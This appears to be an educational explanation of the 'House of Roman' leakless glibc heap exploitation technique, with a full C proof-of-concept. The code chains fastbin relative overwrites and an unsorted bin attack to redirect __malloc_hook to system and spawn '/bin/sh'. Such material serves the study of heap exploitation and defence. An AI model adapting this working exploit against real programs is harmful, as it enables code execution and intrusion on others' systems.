The House of Roman is a sophisticated leakless heap exploitation technique that achieves remote code execution through a combination of:
Fastbin manipulation with relative overwrites
Unsorted bin attack on __malloc_hook
Relative overwrite to point __malloc_hook to system/one_gadget
This technique is particularly powerful because it doesn’t require information leaks, though it does require brute-forcing 12 bits of entropy (1/4096 or 0.02% success rate).
The following code demonstrates the House of Roman technique. For educational purposes, the exploit sets random values to make it consistent, but in a real attack, 12 bits would need to be brute-forced.
#define _GNU_SOURCE /* for RTLD_NEXT */#include <stdlib.h>#include <stdio.h>#include <stdint.h>#include <string.h>#include <malloc.h>#include <dlfcn.h>char* shell = "/bin/sh\x00";void* init(){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);}int main(){ char* introduction = "\nWelcome to the House of Roman\n\n" "This is a heap exploitation technique that is LEAKLESS.\n" "There are three stages to the attack: \n\n" "1. Point a fastbin chunk to __malloc_hook.\n" "2. Run the unsorted_bin attack on __malloc_hook.\n" "3. Relative overwrite on main_arena at __malloc_hook.\n\n" "All of the stuff mentioned above is done using two main concepts:\n" "relative overwrites and heap feng shui.\n\n" "However, this technique comes at a cost:\n" "12-bits of entropy need to be brute forced.\n" "That means this technique only work 1 out of every 4096 tries or 0.02%.\n"; puts(introduction); init(); // ========== STAGE 1: Point fastbin chunk to __malloc_hook ========== puts("Step 1: Point fastbin chunk to __malloc_hook\n\n"); puts("Setting up chunks for relative overwrites with heap feng shui.\n"); // Use this as the UAF chunk later to edit the heap pointer uint8_t* fastbin_victim = malloc(0x60); malloc(0x80); // Alignment filler uint8_t* main_arena_use = malloc(0x80); uint8_t* relative_offset_heap = malloc(0x60); // Free chunk to put it into unsorted_bin with main_arena ptrs free(main_arena_use); // Get part of the unsorted_bin chunk puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n"); uint8_t* fake_libc_chunk = malloc(0x60); // Calculate __malloc_hook for consistent offsets long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8; // Free chunks to create fastbin chain free(relative_offset_heap); free(fastbin_victim); // Relative overwrite: change last byte from 0x90 to 0x00 puts("Overwrite the first byte to point fastbin chunk to LibC address\n"); fastbin_victim[0] = 0x00; // Overwrite main_arena pointer to point near __malloc_hook puts("Use a relative overwrite on the main_arena pointer in the fastbin.\n"); long long __malloc_hook_adjust = __malloc_hook - 0x23; int8_t byte1 = (__malloc_hook_adjust) & 0xff; int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; fake_libc_chunk[0] = byte1; fake_libc_chunk[1] = byte2; // Upper 4 bits need brute force // Allocate to get the __malloc_hook chunk malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); puts("Passed step 1 =)\n\n\n"); // ========== STAGE 2: Unsorted Bin Attack ========== puts("Start Step 2: Unsorted_bin attack\n\n"); uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Prevent consolidation puts("Put chunk into unsorted_bin\n"); free(unsorted_bin_ptr); // Overwrite bk to point to __malloc_hook - 0x10 __malloc_hook_adjust = __malloc_hook - 0x10; byte1 = (__malloc_hook_adjust) & 0xff; byte2 = (__malloc_hook_adjust & 0xff00) >> 8; puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n"); unsorted_bin_ptr[8] = byte1; unsorted_bin_ptr[9] = byte2; // Trigger the unsorted bin attack puts("Trigger the unsorted_bin attack\n"); malloc(0x80); long long system_addr = (long long)dlsym(RTLD_NEXT, "system"); puts("Passed step 2 =)\n\n\n"); // ========== STAGE 3: Set __malloc_hook to system ========== puts("Step 3: Set __malloc_hook to system/one_gadget\n\n"); malloc_hook_chunk[19] = system_addr & 0xff; malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // Trigger execution via __malloc_hook puts("Pop Shell!"); malloc((long long)shell);}
